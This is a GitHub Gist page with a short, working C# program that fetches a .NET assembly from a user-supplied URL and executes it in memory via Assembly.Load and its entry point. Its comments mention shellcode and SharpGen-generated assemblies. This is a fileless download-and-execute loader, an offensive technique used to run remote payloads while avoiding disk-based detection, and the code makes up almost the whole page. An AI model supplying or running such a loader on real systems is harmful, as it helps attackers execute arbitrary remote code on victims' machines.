Created
March 10, 2023 08:13
-
-
Save stephenbradshaw/4cae33c3176de6df1c32ab8e7e0d4e3b to your computer and use it in GitHub Desktop.
Simple example of web fetching in memory .Net assembly executer
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Diagnostics; | |
using System.IO; | |
using System.Text; | |
using System.Linq; | |
using System.Net; | |
using System.Reflection; | |
// Compile with: | |
// Windows: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:executer.exe /platform:x64 executer.cs | |
// *nix mono: csc /out:executer.exe /platform:x64 executer.cs | |
// simple example of in memory assembly executer | |
// no error handling | |
// if executing shellcode assemblies they must match the compiled architecture to work (e.g. x64) | |
// assembly is fetched from url and executed in memory | |
// parameter 1 is url, the other parameters are passed to the assembly unchanged | |
// set parameter 2 to string "null" if the assembly to be executed has an entrypoint that takes no parameters (e.g. SharpGen generated assemblies) | |
namespace AssemblyExecuter | |
{ | |
class Program | |
{ | |
static void Main(string[] args) | |
{ | |
if (args.Length < 1) { | |
Console.WriteLine("Provide url to download assembly from as argument 1, arguments to pass to assembly as arguments 2+."); | |
Console.WriteLine("Set argument 2 to string null for assemblies with no entry point parameters."); | |
System.Environment.Exit(0); | |
} | |
string url = args[0]; | |
Console.WriteLine("Downloading assembly from:"); | |
Console.WriteLine(url); | |
byte[] assemblyBytes = DownloadAssembly(url); | |
string [] assemblyParameters = args.Skip(1).ToArray(); | |
if (assemblyParameters.Length > 0) { | |
Console.WriteLine("Parameters passed to assembly:"); | |
} | |
foreach (string s in assemblyParameters){ | |
Console.WriteLine(s); | |
} | |
ExecuteAssembly(assemblyBytes, assemblyParameters); | |
} | |
public static byte[] DownloadAssembly(string url) | |
{ | |
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12; | |
WebClient w = new System.Net.WebClient(); | |
byte[] assemblyData = w.DownloadData(url); | |
return assemblyData; | |
} | |
public static void ExecuteAssembly(Byte[] bytes, string[] parameters) | |
{ | |
Assembly assembly = Assembly.Load(bytes); | |
MethodInfo methodInfo = assembly.EntryPoint; | |
if (parameters.Length == 1 && parameters[0] == "null") { | |
methodInfo.Invoke(null, null); | |
} else { | |
object[] oparameters = new[] { parameters }; | |
methodInfo.Invoke(null, oparameters); | |
} | |
Console.WriteLine("Done."); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment